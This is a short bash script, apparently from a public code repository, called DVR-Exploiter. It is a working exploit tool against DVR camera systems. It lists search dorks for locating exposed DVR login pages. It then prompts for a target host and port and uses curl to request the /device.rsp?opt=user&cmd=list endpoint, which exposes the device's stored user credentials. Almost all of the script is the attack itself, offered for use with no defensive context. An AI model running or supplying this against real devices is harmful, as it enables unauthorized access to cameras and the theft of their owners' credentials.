-
Notifications
You must be signed in to change notification settings - Fork 37
/
DVR-Exploiter.sh
56 lines (56 loc) · 1.82 KB
/
DVR-Exploiter.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/bin/bash
#Colors
white="\033[1;37m"
grey="\033[0;37m"
purple="\033[0;35m"
red="\033[1;31m"
green="\033[1;32m"
yellow="\033[1;33m"
Cyan="\033[0;36m"
Cafe="\033[0;33m"
Fiuscha="\033[0;35m"
blue="\033[1;34m"
nc="\e[0m"
#STARTUP
echo ""
echo -e "$Cafe--------------------------------------------------------$nc"
echo -e "$green Exploit Title$nc : $red DVR Credentials Exposed$nc $Cafe|$nc"
echo -e "$green Date$nc : $red 09/04/2018$nc $Cafe |$nc"
echo -e "$green Exploit Author$nc : $red Fernandez Ezequiel $Cafe|$nc"
echo -e "$green DVR-Exploiter By$nc: $red Belahsan Ouerghi$nc $Cafe|$nc"
echo -e "$green Contact $nc: $red www.facebook.com/ouerghi.belahsan$Cafe|$nc"
echo -e "$Cafe-------------------------------------------------------|$nc"
echo -e "$green Dorks$nc : $Cafe|$nc"
echo -e " $purple intitle:'DVR Login'$nc $Cafe|$nc"
echo -e " $purple html:'/login.rsp'$nc $Cafe|$nc"
echo -e " $purple 'Server: GNU rsp/1.1'$nc $Cafe|$nc"
echo -e "$Cafe-------------------------------------------------------|$nc"
echo -e "$green Exploit$nc: $Cafe|$nc"
echo -e " $purple/device.rsp?opt=user&cmd=list$nc $Cafe|$nc"
echo -e "$Cafe--------------------------------------------------------$nc"
echo -e "$blue"
read -p "Host Looks Like :
1/ 127.0.0.1
2/ belahsan.com
[1/2] : " host
echo -e "$nc"
if [ $host == "1" ]; then
echo -e "$blue"
read -p "Enter Camera Host : " ip
read -p "Enter Camera Port : " port
echo -e "$nc"
echo -e "$green"
curl "http://$ip:$port/device.rsp?opt=user&cmd=list"
echo ""
echo -e "$nc"
elif [ $host == "2" ]; then
echo -e "$blue"
read -p "Enter Camera Host : " ip2
echo -e "$nc"
echo -e "$green"
curl "http://$ip2/device.rsp?opt=user&cmd=list"
echo ""
echo -e "$nc"
else
echo "404 Not Found"
fi